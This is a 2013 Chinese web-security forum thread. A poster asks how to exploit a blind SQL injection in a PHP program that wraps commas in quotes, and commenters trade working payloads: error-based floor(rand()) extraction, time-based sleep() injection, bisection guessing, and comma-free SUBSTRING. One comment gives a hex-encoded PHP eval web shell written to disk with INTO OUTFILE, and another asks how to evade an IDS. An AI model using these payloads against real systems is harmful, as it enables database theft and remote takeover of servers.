一个有意思的SQL注入

  • A+
所属分类:WEB安全

环境是这样的,有一套php程序,没有对参数做任何过滤,但是会在所有逗号的前后插入单引号,比如 
提交:id=1 and 1=2 union select concat(1,2,3) 
执行:select coun(*) from some_table where id=1 and 1=2 union select concat(1','2','3) 
mysql执行出错的报错信息会反馈到客户端。 
但是因为select的是count(*),所以可以认为没有回显。 

那么这样的一个sql注入,应该怎么利用,来获取数据库里的数据呢(ascii半分法的请自动绕行)? 
球猥琐流解法。 

为了降低难度,假设数据库中的所用表名,字段名事先都已经知晓了。

PS:

1#CCOz | 2013-07-29 18:59

反正concat也是多个字符串之间的联合,不如这样:

id=1 and 1=2 union select concat('1,2,3') 

select coun(*) from some_table where id=1 and 1=2 union select concat('1','2','3')

 

2#落叶纷飞 | 2013-07-29 21:18

id=1 and 1=2 union select concat(1%2b'b,a'%2b2%2b'b,a'%2b3)

select coun(*) from some_table where id=1 and 1=2 union select concat(1+'b','a'+2+'b','a'+3)

 

3#0x0F | 2013-07-29 21:34

不用逗号的注入,你懂

 

4#Hello_C | 2013-07-30 08:41

@0x0F">0x0F 如何不用逗号注入  求解

 

5#感谢(1)xsjswt | 2013-07-30 11:24

@Hello_C @0x0F">0x0F @落叶纷飞 @CCOz 想到一个方法,但是只能报出很少量的,而且得是小数据

提交:id=1 and (select 1 from(select count(*),concat((select (select (select hex(column_name) from table_name limit 1)) from information_schema.tables limit 1)+'0,0'+floor(rand(0)*2))x from information_schema.tables group by x)a);

执行:id=1 and (select 1 from(select count(*),concat((select (select (select hex(column_name) from table_name limit 1)) from information_schema.tables limit 1)+'0','0'+floor(rand(0)*2))x from information_schema.tables group by x)a);

报错:#1062 - Duplicate entry '1.79769313486232e+3082' for key 'group_key'

这个数据就太大了,用乘幂来表示,失去意义了。不过,可以除以100000000000慢慢来

 

6#感谢(1)xsjswt | 2013-07-30 11:28

刚才又试了一下,mysql的power函数算不到10^3000次方,悲剧了。这样是继续二分法的节奏么

 

7#感谢(1)xsjswt | 2013-07-30 11:35

对于数值型的字段,可以hex(left(column_name+'','2')),但是字符型的就没办法了

 

8#applychen | 2013-07-30 19:22

'or column_name like '%_%'#

 

9#感谢(1)xsjswt | 2013-07-31 07:41

@applychen 注入没有回显,是一个select sum(xxx) from xxx where id=xxx

 

10#applychen | 2013-07-31 13:20

@xsjswt 没回显的话那就延迟注射吧

'and (select sleep(3) from(select column_name from table_name limit 1)a where column_name like '%_%');

 

11#感谢(1)xsjswt | 2013-07-31 16:55

@applychen 还不如半分法慢慢猜数据。注入的目标是拿到数据库里面的数据。

 

12#齐迹 | 2013-07-31 17:06

@xsjswt 可以用mysql的substring方法  一段一段的取出来

 

13#感谢(1)xsjswt | 2013-07-31 17:07

@齐迹 substring有逗号,我想了很久没想到怎么拼逗号

 

14#感谢(1)xsjswt | 2013-07-31 17:09

@齐迹 如果mysql支持问号表达式,这个就很容易解决。

提交substring(col_name is not null ? col_name : '0,'1,1')

就OK,无奈没有

 

15#感谢(1)xsjswt | 2013-07-31 17:14

@xsjswt mysql的if要用括号包起来,case要以end结束,都闭合不掉逗号引入的单引号

 

16#_Evil | 2013-07-31 18:01

@xsjswt 看来你研究Mysql蛮深入的,我膜拜一下

 

17#3c0de | 2013-07-31 22:01

@xsjswt 

你這部分怎沒被加上單引號!

select count(*),concat

應該會變成這樣吧

select count(*)',concat

#5的SQL

不是在逗點前+上單引號嗎?

 

18#applychen | 2013-07-31 22:24

@xsjswt 求个半分法注入绕过语句……

 

19#感谢(1)xsjswt | 2013-08-01 09:46

@3c0de 会的,所以很苦恼

 

20#感谢(1)xsjswt | 2013-08-01 09:47

@applychen and (select hex(col_name) from xxx where col_name not in ('known_val1,known_val2,....,known_valN') > 0x1234678 limit 1

 

21#_Evil | 2013-08-01 15:48

@xsjswt 的确很苦恼. @GaRY php领主大人有方法么

 

22#_Evil | 2013-08-01 15:49

@3c0de  Wooyun私信PM你了

 

23#kimdle | 2013-08-01 21:25

果然很奇葩的注入啊///

 

24#乌帽子 | 2013-08-03 15:52

ecshop吗

 

25#江南的鱼 | 2013-08-06 18:36

过滤了特殊字符 <?()[]  要不然又root权限,还是能导出shell的!

 

26#感谢(1)xsjswt | 2013-08-06 18:53

@江南的鱼 那种奇葩的windows下system的mysql,而且mysql和web同一个机器的情况太少见了。

 

27#江南的鱼 | 2013-08-07 00:14

如果满足 爆出路径 ,mysql又是root权限,

那么就用: 

')union select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 'c:/99999.php'#

 

28#0x0F | 2013-08-07 00:56

用join,不用逗号注入

 

29#江南的鱼 | 2013-08-07 01:26

楼上的 给出代码

 

30#感谢(1)回复此人 | 2013-08-07 10:08

@江南的鱼 @0x0F">0x0F +1,join在这个场景确实是无法利用的

 

31#Joker | 2013-08-29 05:07

单引号可以闭合吧?用extractvalue不行?

 

32#Chora | 2013-12-01 19:47

楼上正解。

 

33#z@cx | 2013-12-01 21:32

遇到个IDS系统,对#号进行过滤,有木有解决办法额

 

34#/fd | 2014-02-27 19:35

@xsjswt MYSQL支援沒逗號的substring

http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring

SUBSTRING(str FROM pos FOR len)

 

35#retanoj | 2014-02-27 21:41

话说..就算用substring,sql查到的结果不应该是两条记录么? 一条是前半句查的,后一条是union select查到的?那PHP只处理前一条记录,还是根据情况判断呢?


  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: